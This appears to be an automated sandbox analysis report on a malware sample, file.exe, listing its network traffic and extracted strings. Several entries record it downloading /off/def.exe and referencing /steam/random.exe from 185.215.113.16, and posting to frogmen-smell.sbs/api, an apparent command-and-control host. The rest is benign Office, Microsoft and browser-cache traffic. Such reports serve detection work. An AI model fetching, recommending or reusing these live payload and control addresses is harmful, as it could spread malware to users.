Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=udU4CZ+cV4M2lSX&MD=dRkMo68v HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: frogmen-smell.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frogmen-smell.sbs

Source: file.exe, file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/W
Source: file.exe, file.exe, 00000005.00000002.1663062974.000000000121F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe%
Source: file.exe, 00000005.00000002.1662911967.0000000000E6A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeP
Source: file.exe, file.exe, 00000005.00000002.1663062974.000000000121F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000005.00000003.1570277231.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1548295040.00000000012A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_117.13.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_117.13.dr, chromecache_118.13.dr, chromecache_80.13.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_117.13.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_117.13.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_117.13.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000005.00000003.1406311885.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000005.00000003.1411593120.00000000057CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1409263859.00000000057CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1417598049.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406496763.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000005.00000003.1406311885.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000005.00000003.1406311885.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, file.exe, 00000005.00000003.1444788803.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1352617271.000000000128E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1570277231.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1352654175.0000000001290000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1390977810.00000000057C2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1391651400.00000000057C3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1548295040.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1418344318.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/
Source: file.exe, 00000005.00000003.1352589727.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/.
Source: file.exe, 00000005.00000003.1548900914.000000000128E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1570277231.000000000128E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000002.1663062974.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs///
Source: file.exe, 00000005.00000003.1390977810.00000000057C2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1391651400.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/=
Source: file.exe, 00000005.00000003.1444788803.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1548466900.00000000057BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1352617271.000000000128E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1352654175.0000000001290000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1548900914.0000000001279000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/api
Source: file.exe, 00000005.00000003.1369969164.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1376625620.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1378514838.00000000057D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apiG
Source: file.exe, 00000005.00000003.1444910692.00000000057BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apiH
Source: file.exe, 00000005.00000003.1444788803.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/eA%h:
Source: file.exe, 00000005.00000003.1444788803.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/mA-h;
Source: file.exe, 00000005.00000003.1418344318.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/o
Source: file.exe, 00000005.00000003.1444788803.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/uA
Source: file.exe, 00000005.00000003.1570277231.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1548295040.00000000012A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs:443/api
Source: file.exe, 00000005.00000003.1435840359.0000000001293000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs:443/apit9
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_117.13.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_117.13.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_97.13.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000005.00000003.1393186831.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000005.00000003.1393186831.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_97.13.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000005.00000003.1411593120.00000000057CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1409263859.00000000057CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1417598049.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406496763.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000005.00000003.1406311885.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_108.13.dr, chromecache_97.13.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000005.00000003.1393186831.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000005.00000003.1393186831.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000005.00000003.1393186831.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000005.00000003.1393186831.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000005.00000003.1393186831.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
